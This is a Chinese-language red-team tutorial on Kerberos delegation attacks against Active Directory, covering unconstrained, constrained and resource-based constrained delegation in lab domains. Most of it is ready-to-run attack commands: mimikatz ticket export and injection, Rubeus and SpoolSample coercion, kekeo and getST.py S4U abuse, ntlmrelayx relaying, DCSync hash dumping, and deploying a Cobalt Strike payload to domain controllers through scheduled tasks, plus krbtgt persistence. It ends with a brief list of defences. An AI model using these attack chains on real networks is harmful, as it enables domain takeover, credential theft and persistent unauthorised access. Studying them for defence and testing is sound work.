Kerberos委派攻击技术
委派攻击
前置基础
委派概念
域委派是指将域内用户的权限委派给服务账户,使得服务账号能够以用户的权限在域内展开活动,当攻击者能控制/利用授权账户,那么就会发生委派攻击。
委派是域中的一种安全设置,可以允许某个机器上的服务代表某个用户去执行某个操作,主要分为三种:
1、非约束性委派:类似中间商拿着你的身份证想干什么就干什么,可以伪造你的身份去动物园,同时也可以伪造你的身份去天文馆,海洋馆等等,对这个中间商没有任何的约束。
2、约束性委派:虽然中间商拿到了你的身份证,但是他由于被你约束了,只能去访问动物园,或者只能去动物园里看大象,其他地方被约束住了,不能任意的干任何事情。
3、基于资源的约束性委派
使用场景
一个域内用户访问WEB服务,但是一些资源在文件服务上,这个时候就需要委派,需要web系统代表用户A去访问文件服务的资源。

设置委派
在域内只有主机账号和服务账号才有委派属性
主机账号:活动目录中的computers组内的计算机,也被称为机器账号

服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加入域内,比如:SQLServer,MYSQL等;域用户通过注册SPN也能成为服务账号
net user test123 Admin@123 /add /domain # 创建一个普通用户
setspn -U -A priv/test test123 # 注册为服务账号
开启委派如图
非约束性委派
非约束性委派(Unconstrained Delegation):服务账号可以请求得到域内用户的TGT,服务账号使用该TGT模拟域内用户访问任意服务。被配置为非约束委托的系统将把TGT(Ticket Granting Ticket)存储到LSASS内存中,以便使用户能够访问终端资源。非约束委派的设置需要SeEnableDelegation权限,一般为管理员具有此权限。
PS:域控机器账户默认配置非约束性委派
如图:如果控制web服务主机且属于非约束委派,那么让域管访问web系统后,就可以利用保存的TGT、ST登录DC。
非约束委派账户查询
法一:使用ADfind查询
列出能列出的所有约束委派账户:
# ADFind查询非约束委派普通账户
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
# ADFind查询非约束机器账户
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

法二:使用powershell脚本
使用 PowerView.ps1 脚本进行探查:
# PowerView查询非约束委派的机器账户
powershell-import PowerView.ps1
powershell Get-NetComputer –unconstrained | select dnshostname, samaccountname

实验&攻击示例
利用非约束委派域控主动访问控制域控
当域管理员使用net use等远程访问命令,模拟域控管理员访问沦陷主机,设置了非约束性委派的主机可以抓取到域控管理员的TGT。
利用条件:
- 需要Administrator权限
- 域内主机的机器账户开启非约束委派
- 域控管理员远程访问
实验环境如下:
| 机器位置 | 机器IP | 机器名 | 机器登录用户 | 所属域 | 委派配置 |
|---|---|---|---|---|---|
| 域内域控制器 | 192.168.41.50 | DC2 | abc\administrator | abc.hack.com | 域控 |
| 域内机器 | 192.168.41.55 | PC-2016-Member | abc\xyz | abc.hack.com | 配置了非约束性委派 |
1、上传Adfind到目标机器上,使用Adfind查询域内非约束委派机器账号:

AdFind.exe -b "DC=abc,DC=hack,DC=com" -f "(&(samAccountType=805306369) (userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

2、现在是不能访问域控的
dir \\dc2.abc.hack.com\c$
3、这个时候如果域管访问了PC-2016-Member机器,那么内存中就会有域管的TGT,就可以访问任意机器了,在域控上执行访问PC-2016-Member以模仿域管访问了配置了非约束性委派的主机。
DC2访问成员主机:
net use \\PC-2016-Member.ABC.HACK.COM /user:abc\xyz @Password
4、在PC-2016-Member中导出内存中的票据,这里由于导出票据需要高权限,所以在这一步需要先进行提权,再导出票据。
提权得到system权限:

导出票据到当前目录:
mimikatz sekurlsa::tickets /export

5、进行票据传递就可以获取域控的权限了
# 直接使用原本的票据名会导致解析错误,所以需要先改名
rename "[0;c6031]-2-0-60a10000-Administrator@krbtgt-ABC.HACK.COM.kirbi" admin.kirbi
mimikatz kerberos::ptt admin.kirbi

6、再次访问域控
shell dir \\dc2.abc.hack.com\c$

可以看到这次就能访问域控了
7、上传CS的payload到域控

shell copy artifact_x64.exe \\dc2.abc.hack.com\c$

8、创建计划任务
shell schtasks /create /s dc2.abc.hack.com /tn test /sc onstart /tr c:\artifact_x64.exe /ru system /f

9、执行计划任务
shell schtasks /run /s dc2.abc.hack.com /i /tn "test"

10、上线域控

利用非约束委派域控被动访问控制域控
强迫运行打印服务(Print Spooler)的主机向目标主机发起 Kerberos 或 NTLM 认证请求。
利用条件:控制了域内的一台机器,并且该机器中服务账号配置了非约束委派,拥有Administrator权限。
实验环境如下:
| 机器位置 | 机器IP | 机器名 | 机器登录用户 | 所属域 | 委派配置 |
|---|---|---|---|---|---|
| 域内域控制器 | 192.168.41.10 | DC | hack\administrator | hack.com | 域控 |
| 域内机器 | 192.168.41.14 | WIN-10 | hack\jack | hack.com | 配置了非约束性委派 |
由于一般域管不会主动访问其他主机,那么可以利用 Windows 打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用 MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex) 方法强制任何运行了 Spooler 服务的计算机以通过 Kerberos 或 NTLM 对攻击者控制的主机目标进行身份验证。
非约束性委派主机结合 Spooler 打印机服务漏洞,让域控机器 DC 强制访问 失陷的 具有本地管理员权限的 非约束性委派机器 WIN-10,从而拿到域管理员的 TGT,进而接管域控。(2008机器可能复现不了,因为版本的问题)

1、首先利用Rubeus在 WIN-10 上以本地管理员权限执行以下命令,每隔一秒监听来自域控机器 DC 的登录信息
shell Rubeus.exe monitor /interval:1 /filteruser: DC$

再利用SpoolSample强制域控打印机回连,但这里需在域用户进程上执行,所以切换成了普通域用户帐号去执行:
shell SpoolSample.exe DC WIN-10

Rubeus监听到票据

Rubeus导入票据
shell Rubeus.exe ptt /ticket:票据内容

获取域内用户的hash
mimikatz lsadump::dcsync /all /csv

如果当前的用户是管理员就可以使用PTH攻击,如果是普通的域用户就使用黄金票据

或者使用计划任务上线

shell copy artifact.exe \\dc.hack.com\c$

shell schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\artifact.exe /ru system /f

shell schtasks /run /s dc.hack.com /i /tn "test"

基于服务账户的非约束委派攻击
利用前提
- 服务账户设置了非约束性委派
- 已知服务账户的密码口令信息
实验环境如下:
| 机器位置 | 机器IP | 机器名 | 机器登录用户 | 所属域 |
|---|---|---|---|---|
| 域内域控制器 | 192.168.41.50 | DC2 | abc\administrator | abc.hack.com |
| 域内机器 | 192.168.41.55 | PC-2016-Member | abc\xyz | abc.hack.com |
1、使用 adfind发现服务账号test123设置了非约束委派
shell AdFind.exe -b "DC=abc,DC=hack,DC=com" -f "(&(samAccountType=805306368) (userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

2、上传kekeo工具,构造服务账户TGT的票据

shell kekeo_x64.exe "tgt::ask /user:test123 /domain:abc.hack.com /password:Password!123 /ticket:test.kirbi" "exit"

3、利用刚才伪造的TGT票据,向域服务器申请CIFS服务票据:
shell kekeo_x64.exe "Tgs::s4u /tgt:TGT_test123@ABC.HACK.COM_krbtgt~abc.hack.com@ABC.HACK.COM.kirbi /user:administrator@abc.hack.com /service:cifs /DC2.ABC.HACK.COM" "exit"

使用mimikatz将该票据注入当前的会话中:
mimikatz kerberos::ptt TGS_administrator@abc.hack.com@ABC.HACK.COM_test123@ABC.HACK.COM.kirbi

访问域控
shell dir \\dc2.abc.hack.com\c$

任务计划上线域控
shell copy artifact_x64.exe \\dc2.abc.hack.com\c$

schtasks命令创建计划任务:
schtasks /create /s dc2.abc.hack.com /tn test /sc onstart /tr c:\artifact_x64.exe /ru system /f

schtasks命令执行计划任务:
schtasks /run /s dc2.abc.hack.com /i /tn test

目标域控成功上线

传统约束性委派
概念
当用户不在域内,无法使用kerberos进行认证,那么就只能使用其他协议认证web系统,而同样WEB系统也需要访问文件服务的资源,所以就需要用到S4U(service for user)协议,它允许服务代表用户从KDC请求票证,约束委派限制了其中的S4U2proxy子协议的请求范围,使得配置了委派属性的服务只能模拟用户身份访问特定的其他服务。
S4U协议分为两个子协议:
S4U2self协议允许服务代表任意用户请求访问自身服务的ST服务票据S4U2proxy协议允许服务在已取得ST服务票据下代表任意用户获取另一个服务的服务票据约束委派限制了S4U2proxy协议的请求范围,使得配置了委派属性的服务只能模拟用户身份访问特定的其他服务。
约束委派有两种:
- 仅使用Kerberos,不能进行协议转换
- 使用任何身份验证协议
配置了约束性委派的账户属性会有如下两个变化:
- 账户
userAccountControl属性会被设置为TRUSTED_TO_AUTH_FOR_DELEGATION标志位,值为16781312 - 账户的
msDS-AllowedToDelegateTo属性,添加允许委派的服务
不同于允许委派所有服务的非约束委派,约束委派的目的是在模拟用户的同时,限制委派机器/帐户对特定服务的访问。
认证流程

认证过程中存在的问题:
- 既然服务账号B可以代表A申请访问B的票据,那么也可以代表域管申请访问B的票据
- 既然服务账号B可以代表A申请访问C的票据,那么也可以代表域管申请访问C的票据
这两个情况都不需要域管参与,服务账户B自身就可以完成整个过程,没有得到真实账户的请求授权就私自向KDC发起代表申请。
约束委派账户查询
法一:使用ADfind查询
列出能列出的所有约束委派账户:
# AdFind.exe查询约束委派机器账户
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
# AdFind.exe查询约束委派服务账户
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

法二:使用powershell脚本
使用 PowerView.ps1 脚本进行探查:
# 导入
powershell-import PowerView.ps1
# PowerView查询约束委派机器账户
powershell Get-DomainComputer -TrustedToAuth -domain redteam.lab -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize
# PowerView查询约束委派服务账户
powershell Get-DomainUser –TrustedToAuth -domain redteam.lab -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl

实验&攻击示例
使用机器账户的票据 | kekeo
约束性委派攻击的关键就是获得可转发的服务票据ST
获取根据约束性委派的执行过程可知,只要控制配置约束性委派服务的机器,并获得了它的密码,那么我们就可以劫持这台主机的kerberos请求过程,最终获得任意用户权限的ticket
利用条件:
- 需要Administrator权限
- 目标机器账户配置了约束性委派
实验场景:
| 机器位置 | 机器IP | 机器名 | 机器登录用户 | 所属域 | 委派配置 |
|---|---|---|---|---|---|
| 域内域控制器 | 10.10.2.20 | DC2016 | redteam\administrator | redteam.lab | 域控 |
| 域内机器 | 10.10.2.100 | WIN10-1 | redteam\- | redteam.lab | 配置了约束委派 |
使用mimikatz工具导出lsass.exe进程中所有的票据,得到想要的服务票据:
# 导出票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

使用kekeo工具申请服务票据(S4U2Proxy协议):
# 申请服务票据
kekeo.exe "tgs::s4u /tgt:[0;3e7]-2-1-40e10000-WIN10-1$@krbtgt-REDTEAM.LAB.kirbi /user:Administrator@redteam.lab /service:cifs/DC2016.redteam.lab" "exit"

# 导入票据
mimikatz.exe "kerberos::ptt TGS_Administrator@redteam.lab@REDTEAM.LAB_cifs~DC2016.redteam.lab@REDTEAM.LAB.kirbi" "exit"
# 访问
dir \\DC2016.redteam.lab\c$

然后上传CS恶意文件、SC创建任务上线CS即可。
使用机器账户的hash值 | kekeo
和示例1一样,只是这里使用的是机器账户的hash值。
利用条件:
- 需要Administrator权限
- 目标机器账户配置了约束性委派
实验场景
| 机器位置 | 机器IP | 机器名 | 机器登录用户 | 所属域 | 委派配置 |
|---|---|---|---|---|---|
| 域内域控制器 | 192.168.41.50 | DC2 | abc\administrator | abc.hack.com | 域控 |
| 域内机器 | 192.168.41.55 | PC-2016-Member | abc\xyz | abc.hack.com | 配置了约束委派 |
实验前提:当前已经控制了PC-2016-Member的电脑,发现该电脑配置了约束性的委派,并且可以读取到该电脑的机器用户的HASH值

1、查询约束性委派的机器
shell AdFind.exe -b "DC=abc,DC=hack,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

PS:查询到PC-2016-Member电脑配置了约束委派,委派的对象是DC的CIFS服务
2、获取机器账户NTLM Hash
先提权:

提取凭据:
mimikatz sekurlsa::logonpasswords
3、清除票据
清除当前机器中的所有票据,以免造成影响:
# 清空内存票据
mimikatz kerberos::purge
# 查看内存中的票据
mimikatz kerberos::list

4、票据伪造&利用
使用kekeo申请配置了约束委派机器账户PC-2016-MEMBER$的TGT:
shell kekeo64.exe "tgt::ask /user:PC-2016-MEMBER$ /NTLM:f7fbbd4c53b634afe700e6bcc9e04895 /domain:abc.hack.com" "exit"

利用TGT通过伪造S4U请求以administrator身份访问PC-2016-MEMBER的ST:
shell kekeo64.exe "tgs::s4u /tgt:TGT_PC-2016-MEMBER$@ABC.HACK.COM_krbtgt~abc.hack.com@ABC.HACK.COM.kirbi /user:Administrator@abc.hack.com cifs/dc2.abc.hack.com" "exit"

使用mimikatz注入票据:
mimikatz kerberos::ptt TGS_Administrator@abc.hack.com@ABC.HACK.COM_PC-2016-MEMBER$@ABC.HACK.COM.kirbi

访问域控:
shell dir \\dc2.abc.hack.com\c$

5、上线域控
将CS恶意文件上传到DC:
shell copy artifact.exe \\dc2.abc.hack.com\c$

shell schtasks /create /s 192.168.41.50 /tn test /sc onstart /tr c:\artifact.exe /ru system /f

shell schtasks /run /s 192.168.41.50 /i /tn test

目标域控上线

约束委派&利用服务账户凭据
基于资源的约束性委派
概念
微软在Windows Server 2012 中新引入基于资源的约束性委派(RBCD),RBCD不需要通过具备SeEnableDelegationPrivilege权限的域管理员进行修改,而是将设置属性的权限给了服务资源本身,即:服务来决定谁能访问自己。
配置了RBCD的账户属性有如下变化:
- 增加msDS-AllowedToActOnBehalfOfOtherIdentity属性,指向委派账户
与传统约束性委派的差异:
- 传统约束性委派:server1设置
msDS-AllowedToDelegateTo属性,指定对server2的某个服务进行委派 - 基于资源的约束性委派:server2设置
msDS-AllowedToActOnBehalfOfOtherIdentity属性,添加server的SID以允许server1对自己的服务进行委派
此外,在传统的约束性委派中,通过 S4u2self 申请到的 ST 票据一定是可转发的,如果不可转发,则后续的 S4U2Proxy 阶段将失败。但是在基于资源的约束性委派中,不可转发的 ST 票据仍然可以通过 S4U2Proxy 阶段对其他服务进行委派认证。
委派流程:

攻击核心条件
- 具有对主机修改
msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限 - 可以创建机器账户(或已知机器账户)
拥有修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的用户有下列三个:
- 将该主机加入域的用户账户:账户中有一个
mSDS-CreatorSID属性,用于标记加入域时使用的用户账户SID值,进一步就可以知道一些具有加入域权限的用户账户了! - Account Operator组成员
- 该主机的机器账户
而对于一般域成员,由msDS-MachineAccountQuota属性决定,默认可以创建10个机器账户。
信息搜集
法一:由机器找到可修改委派权限的用户
核心目标:找到可修改msDS-AllowedToActOnBehalfOfOtherIdentity的用户
这种思路可称为反向查找:已知机器账户,找到使其加入域中的用户账户,这个用户账户就具备修改msDS-AllowedToActOnBehalfOfOtherIdentity的权限
# 使用adfind.exe查找机器账户的mS-DS-CreatorSID属性
AdFind.exe -h 10.10.2.20 -u ken -up 123.com -b "DC=redteam,DC=lab" -f "objectClass=computer" mS-DS-CreatorSID
# 使用Powershell反查SID对应的用户
powerpick $objSID = New-Object System.Security.Principal.SecurityIdentifier S-1-5-21-3309395417-4108617856-2168433834-1104;$objUser = $objSID.Translate([System.Security.Principal.NTAccount]);$objUser.Value

法二:由用户查询其加入域中的机器
和上面相反,这里可以看作正向查找:已知用户查找到通过该用户加入域中的机器,
# 查用户账户SID
whoami /all
# 使用PowerView查经由该用户加入域内的机器账户(主机)
# 需要具备GeneriCall或WriteProperty等修改权限
powershell-import PowerView.ps1
powerpick Get-DomainObjectAcl | ?{$_.SecurityIdentifier -match "S-1-5-21-3309395417-4108617856-2168433834-1104"} | select objectdn,activedirectoryrights

示例
环境说明
域名: redteam.lab
域控制器:
操作系统: Windows Server 2016
主机名: DC2016
IP: 10.10.2.20
域内服务器:
操作系统: Windows Server 2012
主机名: SERVER2012
IP: 10.10.2.50
域内主机1:
操作系统: Windows 10
主机名: WIN10-1
IP: 10.10.2.100
域内主机2:
操作系统: Windows 7
主机名: WIN7-1
IP: 10.10.2.101
攻击机:
操作系统: kali Liux
IP: 10.10.2.77
通过将主机加入域的用户拿下主机
权限提升 | 横向移动
关键:能修改那台服务资源的委派属性,就可以拿下该台主机
利用条件:
- 允许创建机器账户
- 具有管理主机加入域的用户账户
添加机器账户
# 使用addcpmputer创建机器账户
python3 addcomputer.py redteam.lab/ken:123.com -method LDAPS -computer-name CPT01\$ -computer-pass Passw0rd -dc-ip 10.10.2.20
# 使用bloodyAD工具创建机器账户
python3 bloodyAD.py -d redteam.lab -u ken -p '123.com' --host 10.10.2.20 addComputer CPT01 'Passw0rd'
# 使用PowerMad工具创建机器账户

设置委派属性
使用PowerView工具查询机器账户SID
Get-NetComputer CPT01 -Properties objectsid
S-1-5-21-3309395417-4108617856-2168433834-1108

修改服务资源的委派属性,即msDS-AllowedToActOnBehalfOfOtherIdentity属性
# 导入powershell Set-ExecutionPolicy Bypass -Scope Process. .\powerview.ps1
powershell-import PowerView.ps1
powerpick $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3309395417-4108617856-2168433834-1108)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer WIN7-1 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
# 查询属性(后一条命令使用到了ActiveDirectory模块,域控默认带)
powerpick Get-DomainComputer SERVER2012 -Properties msds-allowedtoactonbehalfofotheridentity

# 域控查询命令
Get-ADComputer SERVER2012 -Properties PrincipalsAllowedToDelegateToAccount
# 清除属性
Set-DomainObject SERVER2012 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
申请服务票据并利用
法一:getST.py
使用getST.py申请票据
# 使用getST.py申请票据
python3 getST.py redteam.lab/CPT01$:Passw0rd -spn cifs/SERVER2012.redteam.lab -impersonate administrator -dc-ip 10.10.2.20
# 导入票据
export KRB5CCNAME=/root/Desktop/administrator.ccache
# 直接登录
python3 wmiexec.py -k redteam.lab/administrator@SERVER2012.redteam.lab -no-pass
python3 psexec.py -k redteam.lab/administrator@SERVER2012.redteam.lab -no-pass

法二:Rubeus
使用Rubeus申请票据
# 通过Rubeus申请机器账户CPT01$的TGT
Rubeus.exe asktgt /user:CPT01$ /password:Passw0rd /domain:redteam.lab /dc:DC2016.redteam.lab /nowrap
# 使用S4U2Self协议申请TGS并且使用S4U2Proxy协议请求cifs服务票据ST,注入内存中
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/SERVER2012.redteam.lab /dc:DC2016.redteam.lab /nowrap /ptt /ticket:doIE2DCCBNSgAwIBBaEDAgEWooI[...]UbBmtyYnRndBsLcmVkdGVhbS5sYWI=
# 访问
dir \\SERVER2012.redteam.lab\c$

小技巧:Base64加密的票据转.kirbi文件
[IO.File]::WriteAllBytes("C:\Users\Public\Documents\ticket.kirbi",[Convert]::FromBase64String("doIGKDCCBiSgAwIBBaEDAgEWooIFMjCCBS5hggUqMIIFJqADAgEFoQ0bC1JFRFRFQU0uTEFCoikwJ6ADAgECoSAwHhsEQ0lGUxsWU[...]UlZFUjIwMTIucmVkdGVhbS5sYWI="))
已知Acount Operators组用户拿下主机
权限提升 | 横向移动
前一个方法中,拿到控制加入域的用户后可以获得其下加入的主机。在本方法中通过Acount Operators组用户也可以获得域内除域控的所有主机。
利用条件:
- 获取到属于Acount Operators组的用户账户
- 可以创建机器账户
Acount Operators组成员可以修改域内任意主机的msDS-AllowedToActOnBehalfOfOtherIdentity属性
查询Acount Operators组成员
adfind.exe -h 10.10.2.20:389 -s subtree -b CN="Account Operators",CN=Builtin,DC=redteam,DC=lab member

创建机器账户
# 使用bloodyAD.py创建机器账户
python3 bloodyAD.py -d redteam.lab -u mark -p '123.com' --host 10.10.2.20 addComputer CPT02 'Passw0rd'
设置委派属性并利用
剩下部分基本上和上一个方法类似,如果使用ken用户则会报拒绝访问,使用mark用户则可以修改委派属性
# 使用PowerView工具查询机器账户SID
powerpick Get-NetComputer CPT02 -Properties objectsid
S-1-5-21-3309395417-4108617856-2168433834-1112
# 修改服务资源msDS-AllowedToActOnBehalfOfOtherIdentity属性
powerpick $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3309395417-4108617856-2168433834-1112)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer WIN7-1 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
# 查询属性(后一条命令使用到了ActiveDirectory模块,域控默认带)
powerpick Get-DomainComputer WIN7-1 -Properties msds-allowedtoactonbehalfofotheridentity
# 创建服务票据
python3 getST.py redteam.lab/CPT02$:Passw0rd -spn cifs/WIN7-1.redteam.lab -impersonate administrator -dc-ip 10.10.2.20
# 导入票据
export KRB5CCNAME=/root/Desktop/administrator.ccache
# 直接登录
python3 wmiexec.py -k redteam.lab/administrator@WIN7-1.redteam.lab -no-pass
python3 psexec.py -k redteam.lab/administrator@WIN7-1.redteam.lab -no-pass
结合HTLM Relay攻击拿下主机(CVE-2019-1040)
权限提升 | 横向移动
攻击链:绕过NTLM MIC校验+打印机漏洞+NTLM Relay+基于资源的约束性委派组合攻击
利用条件:
- 能创建机器账户
- 目标开启打印机服务
创建机器账户
python3 bloodyAD.py -d redteam.lab -u ken -p '123.com' --host 10.10.2.20 addComputer CPT03 'Passw0rd'
监听认证请求
使用ntlmrelayx工具
# 进行监听
python3 ntlmrelayx.py -t ldap://10.10.2.20 -smb2support --remove-mic --delegate-access --escalate-user CPT03\$
打印机漏洞执行强制认证
使用printerbug工具执行强制认证
# 利用打印机漏洞回连
python3 printerbug.py redteam.lab/ken:123.com@10.10.2.50 10.10.2.77

ntlmrelayx上监听到认证数据

申请服务票据
使用getST.py申请服务票据
# 制作服务票据
python3 getST.py redteam.lab/CPT03\$:Passw0rd -spn CIFS/SERVER2012.redteam.lab -impersonate Administrator -dc-ip 10.10.2.20
利用服务票据
# 注入票据
export KRB5CCNAME=Administrator.ccache
# 远程访问
python3 smbexec.py -target-ip 10.10.2.50 -k SERVER2012.redteam.lab -no-pass

krbtgt用户的委派
目的:权限维持
在获取到域控权限后,可以对krbtgt用户设置委派属性,以实现维持权限的目的,类似与一个变种的黄金票据
利用条件:获取域控权限
设置委派属性
# 创建机器账户
python3 bloodyAD.py -d redteam.lab -u ken -p '123.com' --host 10.10.2.20 addComputer CPT04 'Passw0rd'
# 设置krbtgt委派权限 | 查询
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount CPT04$
Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount

申请&利用票据
python3 getST.py redteam.lab/CPT04\$:Passw0rd -spn krbtgt -impersonate Administrator -dc-ip 10.10.2.20
export KRB5CCNAME=Administrator.ccache
python3 smbexec.py -k administrator@DC2016.redteam.lab -no-pass -dc-ip 10.10.2.20
KRB5CCNAME=Administrator.ccache | python3 smbexec.py -k administrator@DC2016.redteam.lab -no-pass -dc-ip 10.10.2.20

委派攻击防范措施
- 对于高权限用户,设置为
敏感用户,不能被委派 - 若要设置委派,不设置非约束性委派而是设置约束性委派
- 可以将敏感用户添加至
Protected User组中,该组用户不允许被委派

浙公网安备 33010602011771号